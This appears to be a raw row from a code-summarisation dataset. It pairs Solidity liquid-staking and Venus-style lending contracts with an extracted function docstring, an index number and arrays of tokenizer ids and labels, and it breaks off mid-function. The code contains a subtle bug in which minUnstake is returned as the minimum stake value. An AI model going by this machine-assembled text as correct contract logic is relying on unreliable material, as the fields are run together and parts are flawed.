_withdrawCounters; // variable pertaining to contract upgrades versioning uint256 public _version; uint256 public _batchingLimit; /** * @dev Constructor for initializing the LiquidStaking contract. * @param uAddress - address of the UToken contract. * @param sAddress - address of the SToken contract. * @param pauserAddress - address of the pauser admin. * @param unstakingLockTime - varies from 21 hours to 21 days. * @param epochInterval - varies from 3 hours to 3 days. * @param valueDivisor - valueDivisor set to 10^9. */ function initialize( address uAddress, address sAddress, address pauserAddress, uint256 unstakingLockTime, uint256 epochInterval, uint256 valueDivisor ) public virtual initializer { __AccessControl_init(); __Pausable_init(); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, pauserAddress); setUTokensContract(uAddress); setSTokensContract(sAddress); setUnstakingLockTime(unstakingLockTime); setMinimumValues(1, 1); _valueDivisor = valueDivisor; setUnstakeEpoch(block.timestamp, block.timestamp, epochInterval); } /** * @dev Set 'fees', called from admin * @param stakeFee: stake fee * @param unstakeFee: unstake fee * * Emits a {SetFees} event with 'fee' set to the stake and unstake. * */ function setFees(uint256 stakeFee, uint256 unstakeFee) public virtual override returns (bool success) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ1"); // range checks for fees. Since fee cannot be more than 100%, the max cap // is _valueDivisor * 100, which then brings the fees to 100 (percentage) require( (stakeFee <= _valueDivisor.mul(100) || stakeFee == 0) && (unstakeFee <= _valueDivisor.mul(100) || unstakeFee == 0), "LQ2" ); _stakeFee = stakeFee; _unstakeFee = unstakeFee; emit SetFees(stakeFee, unstakeFee); return true; } /** * @dev Set 'unstake props', called from admin * @param unstakingLockTime: varies from 21 hours to 21 days * * Emits a {SetUnstakeProps} event with 'fee' set to the stake and unstake. * */ function setUnstakingLockTime(uint256 unstakingLockTime) public virtual override returns (bool success) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ3"); _unstakingLockTime = unstakingLockTime; emit SetUnstakingLockTime(unstakingLockTime); return true; } /** * @dev get fees, min values, value divisor and epoch props * */ function getStakeUnstakeProps() public view virtual override returns ( uint256 stakeFee, uint256 unstakeFee, uint256 minStake, uint256 minUnstake, uint256 valueDivisor, uint256 epochInterval, uint256 unstakeEpoch, uint256 unstakeEpochPrevious, uint256 unstakingLockTime ) { stakeFee = _stakeFee; unstakeFee = _unstakeFee; minStake = _minStake; minUnstake = _minStake; valueDivisor = _valueDivisor; epochInterval = _epochInterval; unstakeEpoch = _unstakeEpoch; unstakeEpochPrevious = _unstakeEpochPrevious; unstakingLockTime = _unstakingLockTime; } /** * @dev Set 'minimum values', called from admin * @param minStake: stake minimum value * @param minUnstake: unstake minimum value * * Emits a {SetMinimumValues} event with 'minimum value' set to the stake and unstake. * */ function setMinimumValues(uint256 minStake, uint256 minUnstake) public virtual override returns (bool success) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ4"); require(minStake >= 1, "LQ5"); require(minUnstake >= 1, "LQ6"); _minStake = minStake; _minUnstake = minUnstake; emit SetMinimumValues(minStake, minUnstake); return true; } /** * @dev Set 'unstake epoch', called from admin * @param unstakeEpoch: unstake epoch * @param unstakeEpochPrevious: unstake epoch previous(initially set to same value as unstakeEpoch) * @param epochInterval: varies from 3 hours to 3 days * * Emits a {SetUnstakeEpoch} event with 'unstakeEpoch' * */ function setUnstakeEpoch( uint256 unstakeEpoch, uint256 unstakeEpochPrevious, uint256 epochInterval ) public virtual override returns (bool success) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ7"); require(unstakeEpochPrevious <= unstakeEpoch, "LQ8"); if (unstakeEpoch == 0 && epochInterval != 0) revert("LQ9"); _unstakeEpoch = unstakeEpoch; _unstakeEpochPrevious = unstakeEpochPrevious; _epochInterval = epochInterval; emit SetUnstakeEpoch(unstakeEpoch, unstakeEpochPrevious, epochInterval); return true; } /** * @dev Set 'contract address', called from constructor * @param uAddress: utoken contract address * * Emits a {SetUTokensContract} event with '_contract' set to the utoken contract address. * */ function setUTokensContract(address uAddress) public virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ10"); _uTokens = IUTokensV2(uAddress); emit SetUTokensContract(uAddress); } /** * @dev Set 'contract address', called from constructor * @param sAddress: stoken contract address * * Emits a {SetSTokensContract} event with '_contract' set to the stoken contract address. * */ function setSTokensContract(address sAddress) public virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ11"); _sTokens = ISTokensV2(sAddress); emit SetSTokensContract(sAddress); } /** * @dev Stake utokens over the platform with address 'to' for desired 'amount'(Burn uTokens and Mint sTokens) * @param to: user address for staking, amount: number of tokens to stake * * * Requirements: * * - `amount` cannot be less than zero. * - 'amount' cannot be more than balance * - 'amount' plus new balance should be equal to the old balance * * Emits a {StakeTokens} event * */ function stake(address to, uint256 amount) public virtual override whenNotPaused returns (bool) { // Check the supplied amount is greater than minimum stake value require(to == _msgSender(), "LQ12"); // Check the current balance for uTokens is greater than the amount to be staked uint256 _currentUTokenBalance = _uTokens.balanceOf(to); uint256 _stakeFeeAmount = (amount.mulDiv(_stakeFee, _valueDivisor)).div( 100 ); uint256 _finalTokens = amount.add(_stakeFeeAmount); // the value which should be greater than or equal to _minStake // is amount since minval applies to number of sTokens to be minted require(amount >= _minStake, "LQ13"); require(_currentUTokenBalance >= _finalTokens, "LQ14"); emit StakeTokens(to, amount, _finalTokens, block.timestamp); // Burn the uTokens as specified with the amount _uTokens.burn(to, _finalTokens); // Mint the sTokens for the account specified _sTokens.mint(to, amount); return true; } /** * @dev UnStake stokens over the platform with address 'to' for desired 'amount' (Burn sTokens and Mint uTokens with 21 days locking period) * @param to: user address for staking, amount: number of tokens to unstake * * * Requirements: * * - `amount` cannot be less than zero. * - 'amount' cannot be more than balance * - 'amount' plus new balance should be equal to the old balance * * Emits a {UnstakeTokens} event * */ function unStake(address to, uint256 amount) public virtual override whenNotPaused returns (bool) { // Check the supplied amount is greater than 0 require(to == _msgSender(), "LQ15"); // Check the current balance for sTokens is greater than the amount to be unStaked uint256 _currentSTokenBalance = _sTokens.balanceOf(to); uint256 _unstakeFeeAmount = (amount.mulDiv(_unstakeFee, _valueDivisor)) .div(100); uint256 _finalTokens = amount.add(_unstakeFeeAmount); // the value which should be greater than or equal to _minSUnstake // is amount since minval applies to number of uTokens to be withdrawn require(amount >= _minUnstake, "LQ18"); require(_currentSTokenBalance >= _finalTokens, "LQ19"); // Burn the sTokens as specified with the amount _sTokens.burn(to, _finalTokens); _unstakingExpiration[to].push(block.timestamp); // array will hold amount and not _finalTokens because that is the amount of // uTokens pending to be credited after withdraw period _unstakingAmount[to].push(amount); // the event needs to capture _finalTokens that were and not amount emit UnstakeTokens(to, amount, _finalTokens, block.timestamp); return true; } /** * @dev returns the nearest epoch milestone in the future */ function getUnstakeEpochMilestone(uint256 _unstakeTimestamp) public view virtual override returns (uint256 unstakeEpochMilestone) { if (_unstakeTimestamp == 0) return 0; // if epoch values are not relevant, then the epoch milestone is the unstake timestamp itself (backward compatibility) if ( (_unstakeEpoch == 0 && _unstakeEpochPrevious == 0) || _epochInterval == 0 ) return _unstakeTimestamp; if (_unstakeEpoch > _unstakeTimestamp) return (_unstakeEpoch); uint256 _referenceStartTime = (_unstakeTimestamp).add( _unstakeEpoch.sub(_unstakeEpochPrevious) ); uint256 _timeDiff = _referenceStartTime.sub(_unstakeEpoch); unstakeEpochMilestone = (_timeDiff.mod(_epochInterval)).add( _referenceStartTime ); return (unstakeEpochMilestone); } /** * @dev returns the time left for unbonding to finish */ function getUnstakeTime(uint256 _unstakeTimestamp) public view virtual override returns ( uint256 unstakeTime, uint256 unstakeEpoch, uint256 unstakeEpochPrevious ) { uint256 _unstakeEpochMilestone = getUnstakeEpochMilestone( _unstakeTimestamp ); if (_unstakeEpochMilestone == 0) return (0, unstakeEpoch, unstakeEpochPrevious); unstakeEpoch = _unstakeEpoch; unstakeEpochPrevious = _unstakeEpochPrevious; //adding unstakingLockTime with epoch difference unstakeTime = _unstakeEpochMilestone.add(_unstakingLockTime); return (unstakeTime, unstakeEpoch, unstakeEpochPrevious); } /** * @dev Lock the unstaked tokens for 21 days, user can withdraw the same (Mint uTokens with 21 days locking period) * * @param staker: user address for withdraw * * Requirements: * * - `current block timestamp` should be after 21 days from the period where unstaked function is called. * * Emits a {WithdrawUnstakeTokens} event * */ function withdrawUnstakedTokens(address staker) public virtual override whenNotPaused { require(staker == _msgSender(), "LQ20"); uint256 _withdrawBalance; uint256 _counter = _withdrawCounters[staker]; uint256 _counter2 = _withdrawCounters[staker]; uint256 _unstakingExpirationLength = _unstakingExpiration[staker] .length > _batchingLimit.add(_counter) ? _batchingLimit.add(_counter) : _unstakingExpiration[staker].length; for ( uint256 i = _counter; i < _unstakingExpirationLength; i = i.add(1) ) { //get getUnstakeTime and compare it with current timestamp to check if 21 days + epoch difference has passed (uint256 _getUnstakeTime, , ) = getUnstakeTime( _unstakingExpiration[staker][i] ); if (block.timestamp >= _getUnstakeTime) { //if 21 days + epoch difference has passed, then add the balance and then mint uTokens _withdrawBalance = _withdrawBalance.add( _unstakingAmount[staker][i] ); delete _unstakingExpiration[staker][i]; delete _unstakingAmount[staker][i]; _counter2 = _counter2.add(1); } } // update _withdrawCounters[staker] only once outside for loop to save gas _withdrawCounters[staker] = _counter2; require(_withdrawBalance > 0, "LQ21"); emit WithdrawUnstakeTokens(staker, _withdrawBalance, block.timestamp); _uTokens.mint(staker, _withdrawBalance); } /** * @dev get Total Unbonded Tokens * @param staker: account address * */ function getTotalUnbondedTokens(address staker) public view virtual override returns (uint256 unbondingTokens) { uint256 _unstakingExpirationLength = _unstakingExpiration[staker] .length; uint256 _counter = _withdrawCounters[staker]; for ( uint256 i = _counter; i < _unstakingExpirationLength; i = i.add(1) ) { //get getUnstakeTime and compare it with current timestamp to check if 21 days + epoch difference has passed (uint256 _getUnstakeTime, , ) = getUnstakeTime( _unstakingExpiration[staker][i] ); if (block.timestamp >= _getUnstakeTime) { //if 21 days + epoch difference has passed, then check the token amount and send back unbondingTokens = unbondingTokens.add( _unstakingAmount[staker][i] ); } } return unbondingTokens; } /** * @dev get Total Unbonding Tokens * @param staker: account address * */ function getTotalUnbondingTokens(address staker) public view virtual override returns (uint256 unbondingTokens) { uint256 _unstakingExpirationLength = _unstakingExpiration[staker] .length; uint256 _counter = _withdrawCounters[staker]; for ( uint256 i = _counter; i < _unstakingExpirationLength; i = i.add(1) ) { //get getUnstakeTime and compare it with current timestamp to check if 21 days + epoch difference has passed (uint256 _getUnstakeTime, , ) = getUnstakeTime( _unstakingExpiration[staker][i] ); if (block.timestamp < _getUnstakeTime) { //if 21 days + epoch difference have not passed, then check the token amount and send back unbondingTokens = unbondingTokens.add( _unstakingAmount[staker][i] ); } } return unbondingTokens; } /** * @dev Set 'batching limit', called from admin * @param batchingLimit: batching limit * * Emits a {SetBatchingLimit} event. * */ function setBatchingLimit(uint256 batchingLimit) public virtual override returns (bool success) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ24"); _batchingLimit = batchingLimit; emit SetBatchingLimit(batchingLimit, block.timestamp); success = true; return success; } /** * @dev get batching limit * */ function getBatchingLimit() public view virtual override returns (uint256 batchingLimit) { batchingLimit = _batchingLimit; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() public virtual override returns (bool success) { require(hasRole(PAUSER_ROLE, _msgSender()), "LQ22"); _pause(); return true; } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() public virtual override returns (bool success) { require(hasRole(PAUSER_ROLE, _msgSender()), "LQ23"); _unpause(); return true; } }
* @dev Set 'minimum values', called from admin @param minStake: stake minimum value @param minUnstake: unstake minimum value Emits a {SetMinimumValues} event with 'minimum value' set to the stake and unstake./
function setMinimumValues(uint256 minStake, uint256 minUnstake) public virtual override returns (bool success) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LQ4"); require(minStake >= 1, "LQ5"); require(minUnstake >= 1, "LQ6"); _minStake = minStake; _minUnstake = minUnstake; emit SetMinimumValues(minStake, minUnstake); return true; }
5,473,705
[ 1, 694, 296, 15903, 924, 2187, 2566, 628, 3981, 225, 1131, 510, 911, 30, 384, 911, 5224, 460, 225, 1131, 984, 334, 911, 30, 640, 334, 911, 5224, 460, 7377, 1282, 279, 288, 694, 13042, 1972, 97, 871, 598, 296, 15903, 460, 11, 444, 358, 326, 384, 911, 471, 640, 334, 911, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 31973, 1972, 12, 11890, 5034, 1131, 510, 911, 16, 2254, 5034, 1131, 984, 334, 911, 13, 203, 202, 202, 482, 203, 202, 202, 12384, 203, 202, 202, 10601, 203, 202, 202, 6154, 261, 6430, 2216, 13, 203, 202, 95, 203, 202, 202, 6528, 12, 5332, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 389, 3576, 12021, 1435, 3631, 315, 48, 53, 24, 8863, 203, 202, 202, 6528, 12, 1154, 510, 911, 1545, 404, 16, 315, 48, 53, 25, 8863, 203, 202, 202, 6528, 12, 1154, 984, 334, 911, 1545, 404, 16, 315, 48, 53, 26, 8863, 203, 202, 202, 67, 1154, 510, 911, 273, 1131, 510, 911, 31, 203, 202, 202, 67, 1154, 984, 334, 911, 273, 1131, 984, 334, 911, 31, 203, 202, 202, 18356, 1000, 13042, 1972, 12, 1154, 510, 911, 16, 1131, 984, 334, 911, 1769, 203, 202, 202, 2463, 638, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.12; import './interface/ComptrollerInterface.sol'; // // Lend token contract is forked and modified from venus' VToken contract // LendREI is not ERC20 standard !! // contract LendREI{ function isLendToken() external pure returns(bool) {return true;} // Indicator that this is the lend token bool internal _notEntered; // re-entrancy guarding check // ----------------------------- // Standard variables for tokens // ----------------------------- string public name; string public symbol; uint8 public decimals; uint public totalSupply; mapping (address => uint256) accountTokens; mapping (address => mapping (address => uint256)) transferAllowances; address public admin; //owner of this contract // ---------------- // Market parameter // ---------------- struct BorrowSnapshot { uint principal; uint interestIndex; } mapping (address => BorrowSnapshot) public accountBorrows; //Outstanding borrow balances for each account function getAccountBorrows(address user) external view returns(uint, uint) { return (accountBorrows[user].principal, accountBorrows[user].interestIndex); } ComptrollerInterface public comptroller; //get the comptroller InterestRateModel public interestRateModel; address[] public borrowAddress; //Stored all borrow address mapping(address => bool) hasBorrowed; function getBorrowAddress() external view returns(address[] memory){ return borrowAddress; } // ----------------- // Lending parameter // ----------------- uint constant public borrowRateMaxMantissa = 0.0004e14; //Maximum borrow rate (0.000004% / sec) or 126.14% /year uint constant public reserveFactorMaxMantissa = 1e18; //Maximum fraction of interest that can be set aside for reserves uint constant public initialExchangeRateMantissa = 1e18; //Initial exchange rate, Used when minting first Lend token (totalSupply = 0) uint public reserveFactorMantissa; //Current fraction of interest // AccrueInterest update parameter uint public accrualTimestamp; //Last accrued block timestamp uint public borrowIndex; //Accumulate total earned interest rate uint public totalBorrows; //Total amount of borrowed underlying asset uint public totalReserves; //Total amount of underlying asset modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } // ------------------ // Initiate parameter // ------------------ constructor (string memory name_, string memory symbol_, uint8 decimals_, address interestRateModel_, address comptroller_) { name = name_; symbol = symbol_; decimals = decimals_; interestRateModel = InterestRateModel(interestRateModel_); comptroller = ComptrollerInterface(comptroller_); borrowIndex = 1e18; reserveFactorMantissa = 0.2e18; //default reserveFactor = 20% accrualTimestamp = block.timestamp; admin = msg.sender; _notEntered = true; } // ------------- // Market Events // ------------- error NotAllowed(); event Mint(address minter, uint mintAmount, uint mintTokens); //Emit when tokens are minted event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); //Emit when tokens are redeemed event RedeemFee(address redeemer, uint feeAmount, uint redeemTokens); //Emit when tokens are redeemed and fee are transferred event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); //Emit when underlying is borrowed event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); //Emit when a borrow is repaid event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address LendTokenCollateral, uint seizeTokens); //Emit when a borrow is liquidated event NewLendTokenStorage(address oldLendTokenStorage, address newLendTokenStorage); event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); //Emit when interest is accrued event NEW_SUPERVISE_TOKEN(address oldLendToken, address newLendToken); //Emit when change the bind token event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); //Emit when changing interestRateModel event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); //Emit when changing reserve factor event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); //Emit when adding reserves event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); //Emit when reducing reserves event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); //Emit when changing comptroller // ------------ // Admin Events // ------------ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer */ function transferTokens(address spender, address src, address dst, uint tokens) internal{ /* Fail if transfer not allowed */ comptroller.transferAllowed(address(this), src, dst, tokens); /* Do not allow self-transfers */ if (src == dst) { revert ("BAD_INPUT"); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = type(uint).max; } else { startingAllowance = transferAllowances[src][spender]; } uint allowanceNew; uint srvTokensNew; uint dstTokensNew; allowanceNew = startingAllowance - tokens; srvTokensNew = accountTokens[src] - tokens; dstTokensNew = accountTokens[dst] + tokens; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srvTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != type(uint).max) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external nonReentrant { transferTokens(msg.sender, msg.sender, dst, amount); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant{ transferTokens(msg.sender, src, dst, amount); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved */ function approve(address spender, uint256 amount) external{ address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { uint exchangeRate = exchangeRateCurrent(); uint balance = exchangeRate * accountTokens[owner] / 1e18; return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint) { uint LendTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; borrowBalance = borrowBalanceStored(account); exchangeRateMantissa = exchangeRateStored(); return (LendTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The principal * market borrow index / recorded borrowIndex */ function borrowBalanceStored(address account) public view returns (uint) { uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ (uint principal, uint interestIndex) = this.getAccountBorrows(account); if (principal == 0) { return 0; } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ // principalTimesIndex is now 1e36 :: e18 * e18 = e36 principalTimesIndex = principal * borrowIndex; // result is 1e18 :: e36 / e18 = e18 result = principalTimesIndex / interestIndex; return result; } /** * @notice Calculates the exchange rate from the underlying to the lendToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { uint _totalSupply = totalSupply; uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ // cashPlusBorrows is in 1e18 cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves; // exchangeRate mantissa is in 1e18 :: e18 * 1e18 / e18 uint exchangeRateMantissa = cashPlusBorrowsMinusReserves * 1e18 / _totalSupply; return exchangeRateMantissa; } } function getCash() public view returns (uint) { return payable(address(this)).balance; } function getCashPrior() internal view returns (uint) { uint contractBalance = payable(address(this)).balance; uint startingBalance = contractBalance - msg.value; return startingBalance; } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed timestamp * up to the current timestamp and writes new checkpoint to storage. */ function accrueInterest() public { /* Remember the initial block timestamp */ uint currentTimestamp = block.timestamp; uint accrualTimestampPrior = accrualTimestamp; /* Short-circuit accumulating 0 interest */ if (accrualTimestampPrior == currentTimestamp) { return ; } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the time elapsed since the last accrual */ uint timeDelta = currentTimestamp - accrualTimestampPrior; /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * timeDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ uint simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; // simpleInterestFactor is 1e18 :: e18 * e1 simpleInterestFactor = borrowRateMantissa * timeDelta; // interestAccumulated is 1e18 :: e18 * e18 /1e18 interestAccumulated = simpleInterestFactor * borrowsPrior / 1e18; // totalBorrowsNew is 1e18 totalBorrowsNew = interestAccumulated + borrowsPrior; // totalReservesNew is 1e18 :: (e18 * e18 / e18) + e18 totalReservesNew = (reserveFactorMantissa * interestAccumulated / 1e18) + reservesPrior; // borrowIndexNew is 1e18 :: (e18 * e18 / e18) + e18 borrowIndexNew = (simpleInterestFactor * borrowIndexPrior / 1e18) + borrowIndexPrior; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualTimestamp = currentTimestamp; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); } /** * @notice Returns the current per-seconds borrow interest rate for this LendToken * @return The borrow interest rate per seconds, scaled by 1e18 */ function borrowRatePerSeconds() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-seconds supply interest rate for this lendToken * @return The supply interest rate per seconds, scaled by 1e18 */ function supplyRatePerSeconds() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { accrueInterest(); return exchangeRateStored(); } /** * @notice Sender supplies assets into the market and receives lendTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @return (uint) the actual mint amount. */ function mint() external payable returns(uint) { return mintInternal(msg.value); } function mintInternal(uint mintAmount) internal nonReentrant returns (uint) { accrueInterest(); // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } /** * @notice User supplies assets into the market and receives lendTokens in exchange * @dev Assumes interest has already been accrued up to the current timestamp * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint) the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint) { /* Fail if mint not allowed */ comptroller.mintAllowed(address(this), minter); uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; exchangeRateMantissa = exchangeRateStored(); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of lendTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ mintTokens = actualMintAmount * 1e18 / exchangeRateMantissa; /* * We calculate the new total supply of lendTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ totalSupplyNew = totalSupply + mintTokens; accountTokensNew = accountTokens[minter] + mintTokens; /* We write previously calculated values into storage */ totalSupply = totalSupplyNew; accountTokens[minter] = accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, actualMintAmount, mintTokens); emit Transfer(address(this), minter, mintTokens); return (actualMintAmount); } /** * @notice Sender redeems lendTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of lendTokens to redeem into underlying */ function redeem(uint redeemTokens) external{ redeemInternal(redeemTokens); } function redeemInternal(uint redeemTokens) internal nonReentrant { accrueInterest(); redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems lendTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming lendTokens */ function redeemUnderlying(uint redeemAmount) external{ redeemUnderlyingInternal(redeemAmount); } function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant{ accrueInterest(); redeemFresh(msg.sender, 0, redeemAmount); } /** * @notice User redeems lendTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current timestamp * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of lendTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming lendTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) */ struct RedeemVars { uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } function redeemFresh(address redeemer, uint redeemTokensIn, uint redeemAmountIn) internal{ require(redeemTokensIn == 0 || 